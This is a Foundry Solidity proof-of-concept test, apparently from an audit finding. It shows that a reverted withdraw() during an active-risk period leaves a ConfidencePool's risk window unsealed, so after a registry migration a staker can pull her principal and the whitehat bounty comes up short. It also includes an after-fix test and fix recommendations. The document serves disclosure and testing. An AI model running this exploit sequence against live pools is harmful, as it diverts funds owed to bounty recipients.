pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract F04RiskWindowRollbackMigrationTest is Test {
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant ONE = 1e18;
uint256 internal constant ALICE_STAKE = 100e18;
uint256 internal constant BONUS = 20e18;
uint256 internal constant ACTIVE_AT = BASE_TIMESTAMP + 100;
uint256 internal constant MIGRATION_AT = BASE_TIMESTAMP + 110;
uint256 internal constant CORRUPTED_AT = BASE_TIMESTAMP + 120;
uint256 internal constant LOCKED_GROSS = 120e18;
uint256 internal constant ESCAPED_PRINCIPAL = 100e18;
uint256 internal constant ESCAPED_WHITEHAT_PAYOUT = 20e18;
uint256 internal constant RECIPIENT_SHORTFALL = 100e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
address internal trustedSetup = makeAddr("trusted setup");
address internal trustedRegistryOperator = makeAddr("trusted registry operator");
address internal trustedMigrationAdmin = makeAddr("trusted migration admin");
address internal moderator = makeAddr("trusted outcome moderator");
address internal recovery = makeAddr("recovery address");
address internal permissionlessObserver = makeAddr("permissionless observer");
address internal alice = makeAddr("alice ordinary staker");
address internal contributor = makeAddr("bonus contributor");
address internal whitehat = makeAddr("whitehat");
struct World {
MockERC20 token;
MockAttackRegistry registryA;
MockAttackRegistry registryB;
MockSafeHarborRegistry safeHarborRegistry;
MockAgreement agreement;
ConfidencePool target;
}
struct PoolSnapshot {
uint256 riskWindowStart;
bool scopeLocked;
uint256 eligibleStake;
uint256 userSumStakeTime;
uint256 userSumStakeTimeSq;
uint256 totalEligibleStake;
uint256 totalBonus;
uint256 sumStakeTime;
uint256 sumStakeTimeSq;
uint256 poolBalance;
uint256 aliceBalance;
uint256 outcome;
}
struct RunResult {
bool activeWithdrawSuccess;
bytes4 activeWithdrawSelector;
uint256 activeAliceDelta;
bool diagnosticWithdrawSuccess;
bytes4 diagnosticWithdrawSelector;
uint256 diagnosticAliceDelta;
bool omittedWithdrawSuccess;
bytes4 omittedWithdrawSelector;
uint256 omittedAliceDelta;
bool lockedWithdrawSuccess;
bytes4 lockedWithdrawSelector;
uint256 lockedAliceDelta;
uint256 diagnosticWhitehatPayout;
uint256 omittedWhitehatPayout;
uint256 lockedWhitehatPayout;
uint256 diagnosticFinalAliceBalance;
uint256 omittedFinalAliceBalance;
uint256 lockedFinalAliceBalance;
uint256 lockedPayoutDifferential;
}
function test_Exploit_Vulnerable() external {
RunResult memory result = _runSequence(false);
assertFalse(result.activeWithdrawSuccess, "active-risk diagnostic call must fail");
assertEq(
result.activeWithdrawSelector,
IConfidencePool.WithdrawsDisabled.selector,
"active-risk denial selector must be exact"
);
assertEq(result.activeAliceDelta, 0, "reverted active-risk call transfers nothing");
assertTrue(result.diagnosticWithdrawSuccess, "diagnostic world must escape after migration");
assertTrue(result.omittedWithdrawSuccess, "omitted-call control must escape after migration");
assertFalse(result.lockedWithdrawSuccess, "pre-sealed comparison must remain locked");
assertEq(result.diagnosticAliceDelta, ESCAPED_PRINCIPAL, "diagnostic Alice returns her principal");
assertEq(result.omittedAliceDelta, ESCAPED_PRINCIPAL, "control Alice returns her principal");
assertEq(
result.diagnosticWhitehatPayout,
ESCAPED_WHITEHAT_PAYOUT,
"diagnostic whitehat receives remaining bonus only"
);
assertEq(
result.omittedWhitehatPayout, ESCAPED_WHITEHAT_PAYOUT, "control whitehat receives remaining bonus only"
);
assertEq(result.lockedWhitehatPayout, LOCKED_GROSS, "locked whitehat receives principal plus bonus");
assertEq(result.lockedPayoutDifferential, RECIPIENT_SHORTFALL, "recipient shortfall is exact");
assertEq(result.diagnosticFinalAliceBalance, ALICE_STAKE, "Alice has only her original principal");
assertEq(result.omittedFinalAliceBalance, ALICE_STAKE, "control Alice has only her original principal");
assertEq(result.lockedFinalAliceBalance, 0, "locked Alice receives no tokens");
}
function test_Exploit_AfterFix() external {
RunResult memory result = _runSequence(true);
assertFalse(result.activeWithdrawSuccess, "active-risk diagnostic call must fail");
assertEq(
result.activeWithdrawSelector,
IConfidencePool.WithdrawsDisabled.selector,
"active-risk denial selector must be exact"
);
assertEq(result.activeAliceDelta, 0, "reverted active-risk call transfers nothing");
assertFalse(result.diagnosticWithdrawSuccess, "hydrated B must deny diagnostic withdrawal");
assertFalse(result.omittedWithdrawSuccess, "hydrated B must deny omitted-control withdrawal");
assertFalse(result.lockedWithdrawSuccess, "pre-sealed comparison must remain locked");
assertEq(result.diagnosticWithdrawSelector, IConfidencePool.WithdrawsDisabled.selector);
assertEq(result.omittedWithdrawSelector, IConfidencePool.WithdrawsDisabled.selector);
assertEq(result.lockedWithdrawSelector, IConfidencePool.WithdrawsDisabled.selector);
assertEq(result.diagnosticAliceDelta, 0, "migration-control Alice receives nothing");
assertEq(result.omittedAliceDelta, 0, "migration-control Alice receives nothing");
assertEq(result.lockedAliceDelta, 0, "locked Alice receives nothing");
assertEq(result.diagnosticWhitehatPayout, LOCKED_GROSS, "hydrated diagnostic payout is locked gross");
assertEq(result.omittedWhitehatPayout, LOCKED_GROSS, "hydrated control payout is locked gross");
assertEq(result.lockedWhitehatPayout, LOCKED_GROSS, "comparison payout is locked gross");
assertEq(result.lockedPayoutDifferential, 0, "atomic hydration prevents recipient shortfall");
assertEq(result.diagnosticFinalAliceBalance, 0, "hydrated B leaves Alice's principal committed");
assertEq(result.omittedFinalAliceBalance, 0, "hydrated B leaves control principal committed");
assertEq(result.lockedFinalAliceBalance, 0, "locked Alice receives no principal or bonus");
}
function _runSequence(bool migrationControl) internal returns (RunResult memory result) {
vm.warp(BASE_TIMESTAMP);
console2.log(
"Migration policy branch", migrationControl ? "ATOMIC HYDRATION CONTROL" : "VULNERABLE POINTER EXPOSURE"
);
address implementation = address(new ConfidencePool());
vm.label(implementation, "Real Vulnerable ConfidencePool");
World[3] memory worlds;
worlds[0] = _deployWorld(implementation, "Diagnostic World");
worlds[1] = _deployWorld(implementation, "Omitted-Call Control World");
worlds[2] = _deployWorld(implementation, "Durable-Lock Comparison World");
_fundWorld(worlds[0], "Diagnostic World");
_fundWorld(worlds[1], "Omitted-Call Control World");
_fundWorld(worlds[2], "Durable-Lock Comparison World");
_assertInitial(worlds[0], "Diagnostic World");
_assertInitial(worlds[1], "Omitted-Call Control World");
_assertInitial(worlds[2], "Durable-Lock Comparison World");
vm.warp(ACTIVE_AT);
console2.log("TRUSTED REGISTRY ACTION: registry A reports UNDER_ATTACK at", block.timestamp);
_setRegistryState(worlds[0].registryA, IAttackRegistry.ContractState.UNDER_ATTACK);
_setRegistryState(worlds[1].registryA, IAttackRegistry.ContractState.UNDER_ATTACK);
_setRegistryState(worlds[2].registryA, IAttackRegistry.ContractState.UNDER_ATTACK);
console2.log(
"Diagnostic registry A active state",
uint256(worlds[0].registryA.getAgreementState(address(worlds[0].agreement)))
);
PoolSnapshot memory diagnosticBefore = _snapshot(worlds[0]);
_assertPreRiskSnapshot(diagnosticBefore, "diagnostic before active-risk call");
_logDiagnosticSnapshot("BEFORE active-risk withdrawal", diagnosticBefore);
vm.expectCall(
address(worlds[0].registryA),
abi.encodeCall(MockAttackRegistry.getAgreementState, (address(worlds[0].agreement)))
);
(result.activeWithdrawSuccess, result.activeWithdrawSelector, result.activeAliceDelta) = _withdraw(worlds[0]);
_logWithdrawal(
"Diagnostic World Active-Risk Attempt",
result.activeWithdrawSuccess,
result.activeWithdrawSelector,
result.activeAliceDelta
);
PoolSnapshot memory diagnosticAfter = _snapshot(worlds[0]);
_assertPreRiskSnapshot(diagnosticAfter, "diagnostic after reverted active-risk call");
_assertPreRiskSnapshot(_snapshot(worlds[1]), "omitted-call control at active-risk checkpoint");
_logDiagnosticSnapshot("AFTER reverted active-risk withdrawal", diagnosticAfter);
assertFalse(result.activeWithdrawSuccess, "active-risk diagnostic withdrawal must revert");
assertEq(
result.activeWithdrawSelector, IConfidencePool.WithdrawsDisabled.selector, "active-risk diagnostic selector"
);
assertEq(result.activeAliceDelta, 0, "active-risk diagnostic transfers no principal");
_assertSnapshotsEqual(diagnosticBefore, diagnosticAfter, "diagnostic active revert rolls back every field");
_assertSnapshotsEqual(
diagnosticAfter, _snapshot(worlds[1]), "failed-call diagnostic equals omitted-call control"
);
console2.log("Diagnostic/omitted checkpoint equality", true);
console2.log("PERMISSIONLESS OBSERVER ACTION: seal comparison risk window");
vm.prank(permissionlessObserver);
worlds[2].target.pokeRiskWindow();
assertEq(worlds[2].target.riskWindowStart(), ACTIVE_AT, "comparison persists active-risk start");
assertEq(worlds[2].token.balanceOf(address(worlds[2].target)), LOCKED_GROSS, "comparison retains 120");
vm.warp(MIGRATION_AT);
IAttackRegistry.ContractState migrationState =
migrationControl ? IAttackRegistry.ContractState.UNDER_ATTACK : IAttackRegistry.ContractState.NOT_DEPLOYED;
console2.log(
migrationControl
? "TRUSTED MIGRATION ACTION: atomically hydrate B to UNDER_ATTACK before pointer exposure"
: "TRUSTED MIGRATION ACTION: expose fresh B accurately reporting NOT_DEPLOYED"
);
_hydrateAndSwitchRegistry(worlds[0], migrationState);
_hydrateAndSwitchRegistry(worlds[1], migrationState);
_hydrateAndSwitchRegistry(worlds[2], migrationState);
_assertMigratedRegistry(worlds[0], migrationState, "Diagnostic World");
_assertMigratedRegistry(worlds[1], migrationState, "Omitted-Call Control World");
_assertMigratedRegistry(worlds[2], migrationState, "Durable-Lock Comparison World");
_assertSnapshotsEqual(
_snapshot(worlds[0]),
_snapshot(worlds[1]),
"diagnostic and omitted control match before migrated withdrawal"
);
vm.expectCall(
address(worlds[0].registryB),
abi.encodeCall(MockAttackRegistry.getAgreementState, (address(worlds[0].agreement)))
);
vm.expectCall(
address(worlds[1].registryB),
abi.encodeCall(MockAttackRegistry.getAgreementState, (address(worlds[1].agreement)))
);
vm.expectCall(
address(worlds[2].registryB),
abi.encodeCall(MockAttackRegistry.getAgreementState, (address(worlds[2].agreement)))
);
(result.diagnosticWithdrawSuccess, result.diagnosticWithdrawSelector, result.diagnosticAliceDelta) =
_withdraw(worlds[0]);
(result.omittedWithdrawSuccess, result.omittedWithdrawSelector, result.omittedAliceDelta) = _withdraw(worlds[1]);
(result.lockedWithdrawSuccess, result.lockedWithdrawSelector, result.lockedAliceDelta) = _withdraw(worlds[2]);
_logWithdrawal(
"Diagnostic World",
result.diagnosticWithdrawSuccess,
result.diagnosticWithdrawSelector,
result.diagnosticAliceDelta
);
_logWithdrawal(
"Omitted-Call Control World",
result.omittedWithdrawSuccess,
result.omittedWithdrawSelector,
result.omittedAliceDelta
);
_logWithdrawal(
"Durable-Lock Comparison World",
result.lockedWithdrawSuccess,
result.lockedWithdrawSelector,
result.lockedAliceDelta
);
if (migrationControl) {
_assertDenied(
result.diagnosticWithdrawSuccess,
result.diagnosticWithdrawSelector,
result.diagnosticAliceDelta,
"migration-control diagnostic withdrawal"
);
_assertDenied(
result.omittedWithdrawSuccess,
result.omittedWithdrawSelector,
result.omittedAliceDelta,
"migration-control omitted withdrawal"
);
_assertDenied(
result.lockedWithdrawSuccess,
result.lockedWithdrawSelector,
result.lockedAliceDelta,
"migration-control comparison withdrawal"
);
_assertLockedState(worlds[0], "hydrated diagnostic");
_assertLockedState(worlds[1], "hydrated omitted control");
_assertLockedState(worlds[2], "hydrated comparison");
_assertPreRiskSnapshot(
_snapshot(worlds[0]), "migration-control diagnostic denial also rolls back observation"
);
_assertPreRiskSnapshot(_snapshot(worlds[1]), "migration-control omitted denial also rolls back observation");
} else {
assertTrue(result.diagnosticWithdrawSuccess, "diagnostic withdrawal succeeds on fresh B");
assertTrue(result.omittedWithdrawSuccess, "omitted-control withdrawal succeeds on fresh B");
assertEq(result.diagnosticWithdrawSelector, bytes4(0), "successful diagnostic has no revert selector");
assertEq(result.omittedWithdrawSelector, bytes4(0), "successful control has no revert selector");
assertEq(result.diagnosticAliceDelta, ESCAPED_PRINCIPAL, "diagnostic principal delta is 100");
assertEq(result.omittedAliceDelta, ESCAPED_PRINCIPAL, "control principal delta is 100");
_assertEscapedState(worlds[0], "vulnerable diagnostic");
_assertEscapedState(worlds[1], "vulnerable omitted control");
_assertDenied(
result.lockedWithdrawSuccess,
result.lockedWithdrawSelector,
result.lockedAliceDelta,
"vulnerable comparison withdrawal"
);
_assertLockedState(worlds[2], "vulnerable comparison");
}
_assertSnapshotsEqual(
_snapshot(worlds[0]), _snapshot(worlds[1]), "diagnostic and omitted control match after migrated withdrawal"
);
vm.warp(CORRUPTED_AT);
console2.log("TRUSTED REGISTRY ACTION: registry B reports CORRUPTED at", block.timestamp);
_setRegistryState(worlds[0].registryB, IAttackRegistry.ContractState.CORRUPTED);
_setRegistryState(worlds[1].registryB, IAttackRegistry.ContractState.CORRUPTED);
_setRegistryState(worlds[2].registryB, IAttackRegistry.ContractState.CORRUPTED);
uint256 escapedOrLockedPrincipal = migrationControl ? ALICE_STAKE : 0;
result.diagnosticWhitehatPayout =
_flagCorruptedAndClaim(worlds[0], "Diagnostic World", escapedOrLockedPrincipal);
result.omittedWhitehatPayout =
_flagCorruptedAndClaim(worlds[1], "Omitted-Call Control World", escapedOrLockedPrincipal);
result.lockedWhitehatPayout = _flagCorruptedAndClaim(worlds[2], "Durable-Lock Comparison World", ALICE_STAKE);
result.diagnosticFinalAliceBalance = worlds[0].token.balanceOf(alice);
result.omittedFinalAliceBalance = worlds[1].token.balanceOf(alice);
result.lockedFinalAliceBalance = worlds[2].token.balanceOf(alice);
result.lockedPayoutDifferential = result.lockedWhitehatPayout - result.diagnosticWhitehatPayout;
console2.log("Diagnostic whitehat payout", result.diagnosticWhitehatPayout);
console2.log("Locked comparison whitehat payout", result.lockedWhitehatPayout);
console2.log("Locked payout differential", result.lockedPayoutDifferential);
console2.log("Diagnostic final Alice balance", result.diagnosticFinalAliceBalance);
console2.log("Omitted-control final Alice balance", result.omittedFinalAliceBalance);
console2.log("Locked-comparison final Alice balance", result.lockedFinalAliceBalance);
console2.log(
"Diagnostic Alice bonus received",
result.diagnosticFinalAliceBalance > ALICE_STAKE ? result.diagnosticFinalAliceBalance - ALICE_STAKE : 0
);
console2.log(
"Omitted-control Alice bonus received",
result.omittedFinalAliceBalance > ALICE_STAKE ? result.omittedFinalAliceBalance - ALICE_STAKE : 0
);
uint256 expectedAliceBalance = migrationControl ? 0 : ALICE_STAKE;
uint256 expectedEscapedPayout = migrationControl ? LOCKED_GROSS : ESCAPED_WHITEHAT_PAYOUT;
assertEq(result.diagnosticFinalAliceBalance, expectedAliceBalance, "diagnostic Alice terminal balance");
assertEq(result.omittedFinalAliceBalance, expectedAliceBalance, "control Alice terminal balance");
assertEq(result.lockedFinalAliceBalance, 0, "comparison Alice terminal balance");
assertLe(result.diagnosticFinalAliceBalance, ALICE_STAKE, "Alice cannot profit beyond her principal");
assertLe(result.omittedFinalAliceBalance, ALICE_STAKE, "control Alice cannot profit beyond principal");
assertEq(result.diagnosticWhitehatPayout, expectedEscapedPayout, "diagnostic whitehat payout is exact");
assertEq(result.omittedWhitehatPayout, expectedEscapedPayout, "control whitehat payout is exact");
assertEq(result.lockedWhitehatPayout, LOCKED_GROSS, "comparison whitehat payout is exact");
assertEq(
result.lockedPayoutDifferential,
migrationControl ? 0 : RECIPIENT_SHORTFALL,
"recipient shortfall matches migration policy"
);
_assertConservation(worlds[0], expectedAliceBalance, expectedEscapedPayout, "Diagnostic World");
_assertConservation(worlds[1], expectedAliceBalance, expectedEscapedPayout, "Omitted-Call Control World");
_assertConservation(worlds[2], 0, LOCKED_GROSS, "Durable-Lock Comparison World");
}
function _deployWorld(address implementation, string memory worldName) internal returns (World memory world) {
console2.log("World", worldName);
world.token = new MockERC20();
world.registryA = new MockAttackRegistry();
world.registryB = new MockAttackRegistry();
world.safeHarborRegistry = new MockSafeHarborRegistry();
world.agreement = new MockAgreement(trustedSetup);
console2.log("TRUSTED SETUP ACTION: scope, registry A pointer, validity, NEW_DEPLOYMENT");
vm.startPrank(trustedSetup);
world.agreement.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
world.safeHarborRegistry.setAttackRegistry(address(world.registryA));
world.safeHarborRegistry.setAgreementValid(address(world.agreement), true);
world.registryA.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
vm.stopPrank();
world.target = ConfidencePool(Clones.clone(implementation));
world.target
.initialize(
address(world.agreement),
address(world.token),
address(world.safeHarborRegistry),
moderator,
BASE_TIMESTAMP + 31 days,
ONE,
recovery,
address(this),
_defaultScope()
);
_labelWorld(world, worldName);
}
function _fundWorld(World memory world, string memory worldName) internal {
console2.log("TRUSTED SETUP FUNDING:", worldName);
vm.prank(trustedSetup);
world.token.mint(alice, ALICE_STAKE);
vm.startPrank(alice);
world.token.approve(address(world.target), ALICE_STAKE);
console2.log("ALICE PARTICIPANT ACTION: stake", ALICE_STAKE);
world.target.stake(ALICE_STAKE);
vm.stopPrank();
vm.prank(trustedSetup);
world.token.mint(contributor, BONUS);
vm.startPrank(contributor);
world.token.approve(address(world.target), BONUS);
console2.log("BONUS CONTRIBUTOR ACTION: contribute", BONUS);
world.target.contributeBonus(BONUS);
vm.stopPrank();
}
function _assertInitial(World memory world, string memory worldName) internal view {
assertEq(world.target.eligibleStake(alice), ALICE_STAKE, string.concat(worldName, ": Alice stake"));
assertEq(world.target.totalEligibleStake(), ALICE_STAKE, string.concat(worldName, ": total stake"));
assertEq(world.target.totalBonus(), BONUS, string.concat(worldName, ": bonus"));
assertEq(world.token.balanceOf(address(world.target)), LOCKED_GROSS, string.concat(worldName, ": pool 120"));
assertEq(world.token.balanceOf(alice), 0, string.concat(worldName, ": Alice post-stake zero"));
assertEq(world.target.riskWindowStart(), 0, string.concat(worldName, ": no risk start"));
assertEq(
uint256(world.target.outcome()),
uint256(PoolStates.Outcome.UNRESOLVED),
string.concat(worldName, ": unresolved")
);
}
function _snapshot(World memory world) internal view returns (PoolSnapshot memory snapshot) {
snapshot.riskWindowStart = world.target.riskWindowStart();
snapshot.scopeLocked = world.target.scopeLocked();
snapshot.eligibleStake = world.target.eligibleStake(alice);
snapshot.userSumStakeTime = world.target.userSumStakeTime(alice);
snapshot.userSumStakeTimeSq = world.target.userSumStakeTimeSq(alice);
snapshot.totalEligibleStake = world.target.totalEligibleStake();
snapshot.totalBonus = world.target.totalBonus();
snapshot.sumStakeTime = world.target.sumStakeTime();
snapshot.sumStakeTimeSq = world.target.sumStakeTimeSq();
snapshot.poolBalance = world.token.balanceOf(address(world.target));
snapshot.aliceBalance = world.token.balanceOf(alice);
snapshot.outcome = uint256(world.target.outcome());
}
function _assertPreRiskSnapshot(PoolSnapshot memory snapshot, string memory message) internal pure {
uint256 firstMoment = ALICE_STAKE * BASE_TIMESTAMP;
uint256 secondMoment = ALICE_STAKE * BASE_TIMESTAMP * BASE_TIMESTAMP;
assertEq(snapshot.riskWindowStart, 0, string.concat(message, ": risk start"));
assertFalse(snapshot.scopeLocked, string.concat(message, ": scope remains unlocked"));
assertEq(snapshot.eligibleStake, ALICE_STAKE, string.concat(message, ": eligible stake"));
assertEq(snapshot.userSumStakeTime, firstMoment, string.concat(message, ": user first moment"));
assertEq(snapshot.userSumStakeTimeSq, secondMoment, string.concat(message, ": user second moment"));
assertEq(snapshot.totalEligibleStake, ALICE_STAKE, string.concat(message, ": total stake"));
assertEq(snapshot.totalBonus, BONUS, string.concat(message, ": total bonus"));
assertEq(snapshot.sumStakeTime, firstMoment, string.concat(message, ": global first moment"));
assertEq(snapshot.sumStakeTimeSq, secondMoment, string.concat(message, ": global second moment"));
assertEq(snapshot.poolBalance, LOCKED_GROSS, string.concat(message, ": pool balance"));
assertEq(snapshot.aliceBalance, 0, string.concat(message, ": Alice balance"));
assertEq(
snapshot.outcome, uint256(PoolStates.Outcome.UNRESOLVED), string.concat(message, ": unresolved outcome")
);
}
function _assertSnapshotsEqual(PoolSnapshot memory lhs, PoolSnapshot memory rhs, string memory message)
internal
pure
{
assertEq(keccak256(abi.encode(lhs)), keccak256(abi.encode(rhs)), message);
}
function _withdraw(World memory world) internal returns (bool success, bytes4 selector, uint256 aliceDelta) {
uint256 balanceBefore = world.token.balanceOf(alice);
vm.prank(alice);
bytes memory data;
(success, data) = address(world.target).call(abi.encodeCall(ConfidencePool.withdraw, ()));
aliceDelta = world.token.balanceOf(alice) - balanceBefore;
if (!success && data.length >= 4) {
assembly ("memory-safe") {
selector := mload(add(data, 0x20))
}
}
}
function _assertDenied(bool success, bytes4 selector, uint256 aliceDelta, string memory message) internal pure {
assertFalse(success, message);
assertEq(selector, IConfidencePool.WithdrawsDisabled.selector, string.concat(message, ": selector"));
assertEq(aliceDelta, 0, string.concat(message, ": no transfer"));
}
function _assertEscapedState(World memory world, string memory message) internal view {
assertEq(world.target.eligibleStake(alice), 0, string.concat(message, ": Alice stake cleared"));
assertEq(world.target.totalEligibleStake(), 0, string.concat(message, ": total stake cleared"));
assertEq(world.token.balanceOf(address(world.target)), BONUS, string.concat(message, ": only bonus remains"));
assertEq(world.target.totalBonus(), BONUS, string.concat(message, ": bonus accounting remains"));
assertEq(world.token.balanceOf(alice), ALICE_STAKE, string.concat(message, ": Alice gets exactly 100"));
}
function _assertLockedState(World memory world, string memory message) internal view {
assertEq(world.target.eligibleStake(alice), ALICE_STAKE, string.concat(message, ": Alice stake retained"));
assertEq(world.target.totalEligibleStake(), ALICE_STAKE, string.concat(message, ": total stake retained"));
assertEq(world.target.totalBonus(), BONUS, string.concat(message, ": bonus retained"));
assertEq(
world.token.balanceOf(address(world.target)), LOCKED_GROSS, string.concat(message, ": pool retains 120")
);
assertEq(world.token.balanceOf(alice), 0, string.concat(message, ": Alice remains at zero"));
}
function _flagCorruptedAndClaim(World memory world, string memory worldName, uint256 expectedPrincipal)
internal
returns (uint256 payout)
{
console2.log("TRUSTED MODERATOR ACTION: flag good-faith CORRUPTED", worldName);
vm.prank(moderator);
world.target.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
uint256 expectedEntitlement = expectedPrincipal + BONUS;
assertEq(
world.target.snapshotTotalStaked(), expectedPrincipal, string.concat(worldName, ": snapshot principal")
);
assertEq(world.target.snapshotTotalBonus(), BONUS, string.concat(worldName, ": snapshot bonus"));
assertEq(world.target.bountyEntitlement(), expectedEntitlement, string.concat(worldName, ": entitlement"));
uint256 balanceBefore = world.token.balanceOf(whitehat);
console2.log("WHITEHAT ACTION: claimAttackerBounty", worldName);
vm.prank(whitehat);
world.target.claimAttackerBounty();
payout = world.token.balanceOf(whitehat) - balanceBefore;
assertEq(payout, expectedEntitlement, string.concat(worldName, ": exact whitehat payout"));
console2.log("CORRUPTED snapshot principal", world.target.snapshotTotalStaked());
console2.log("CORRUPTED snapshot bonus", world.target.snapshotTotalBonus());
console2.log("CORRUPTED bounty entitlement", world.target.bountyEntitlement());
console2.log("CORRUPTED whitehat payout", payout);
}
function _assertMigratedRegistry(
World memory world,
IAttackRegistry.ContractState expectedState,
string memory worldName
) internal view {
address liveRegistry = world.safeHarborRegistry.getAttackRegistry();
IAttackRegistry.ContractState state = world.registryB.getAgreementState(address(world.agreement));
assertEq(liveRegistry, address(world.registryB), string.concat(worldName, ": pointer is registry B"));
assertEq(uint256(state), uint256(expectedState), string.concat(worldName, ": B reports migration state"));
console2.log(string.concat(worldName, " registry B pointer"), liveRegistry);
console2.log(string.concat(worldName, " registry B state"), uint256(state));
}
function _setRegistryState(MockAttackRegistry registry, IAttackRegistry.ContractState state) internal {
vm.prank(trustedRegistryOperator);
registry.setAgreementState(state);
}
function _switchRegistry(World memory world) internal {
vm.prank(trustedMigrationAdmin);
world.safeHarborRegistry.setAttackRegistry(address(world.registryB));
}
function _hydrateAndSwitchRegistry(World memory world, IAttackRegistry.ContractState state) internal {
_setRegistryState(world.registryB, state);
_switchRegistry(world);
}
function _assertConservation(
World memory world,
uint256 expectedAliceBalance,
uint256 expectedWhitehatBalance,
string memory worldName
) internal view {
uint256 accounted = world.token.balanceOf(alice) + world.token.balanceOf(contributor)
+ world.token.balanceOf(whitehat) + world.token.balanceOf(recovery)
+ world.token.balanceOf(address(world.target));
assertEq(world.token.totalSupply(), LOCKED_GROSS, string.concat(worldName, ": exactly 120 minted"));
assertEq(accounted, LOCKED_GROSS, string.concat(worldName, ": terminal balances conserve 120"));
assertEq(world.token.balanceOf(alice), expectedAliceBalance, string.concat(worldName, ": Alice balance"));
assertEq(
world.token.balanceOf(whitehat), expectedWhitehatBalance, string.concat(worldName, ": whitehat balance")
);
assertEq(world.token.balanceOf(contributor), 0, string.concat(worldName, ": contributor balance"));
assertEq(world.token.balanceOf(recovery), 0, string.concat(worldName, ": recovery balance"));
assertEq(world.token.balanceOf(address(world.target)), 0, string.concat(worldName, ": pool terminal balance"));
}
function _logDiagnosticSnapshot(string memory phase, PoolSnapshot memory snapshot) internal pure {
console2.log(phase);
console2.log("Diagnostic riskWindowStart", snapshot.riskWindowStart);
console2.log("Diagnostic eligible stake", snapshot.eligibleStake);
console2.log("Diagnostic total eligible stake", snapshot.totalEligibleStake);
console2.log("Diagnostic pool balance", snapshot.poolBalance);
console2.log("Diagnostic Alice balance", snapshot.aliceBalance);
}
function _logWithdrawal(string memory worldName, bool success, bytes4 selector, uint256 aliceDelta) internal pure {
console2.log(string.concat(worldName, " withdrawal success"), success);
console2.log(string.concat(worldName, " withdrawal revert selector"));
console2.logBytes4(selector);
console2.log(string.concat(worldName, " withdrawal Alice delta"), aliceDelta);
}
function _labelWorld(World memory world, string memory worldName) internal {
vm.label(address(this), "PoC Test Harness and Pool Owner");
vm.label(trustedSetup, "Trusted Setup");
vm.label(trustedRegistryOperator, "Trusted Registry Operator");
vm.label(trustedMigrationAdmin, "Trusted Migration Admin");
vm.label(moderator, "Trusted Outcome Moderator");
vm.label(recovery, "Recovery Address");
vm.label(permissionlessObserver, "Permissionless Observer");
vm.label(alice, "Alice Ordinary Staker");
vm.label(contributor, "Bonus Contributor");
vm.label(whitehat, "Whitehat");
vm.label(DEFAULT_SCOPE_ACCOUNT, "Agreement Scope Account");
vm.label(address(world.token), string.concat(worldName, " Stake Token"));
vm.label(address(world.registryA), string.concat(worldName, " Registry A"));
vm.label(address(world.registryB), string.concat(worldName, " Registry B"));
vm.label(address(world.safeHarborRegistry), string.concat(worldName, " Safe Harbor Registry"));
vm.label(address(world.agreement), string.concat(worldName, " Agreement"));
vm.label(address(world.target), string.concat(worldName, " ConfidencePool Clone"));
}
function _defaultScope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = DEFAULT_SCOPE_ACCOUNT;
}
}
Primary fix (honest, complete for the stated invariant): correct DESIGN §11/§9 to scope the guarantee to a sealed latch.
Stronger, code-level option if the team wants the lock to hold unconditionally: have an active-risk withdraw() attempt commit the seal instead of reverting it away — seal riskWindowStart and deny via an early return/no-op rather than revert, so the observation persists.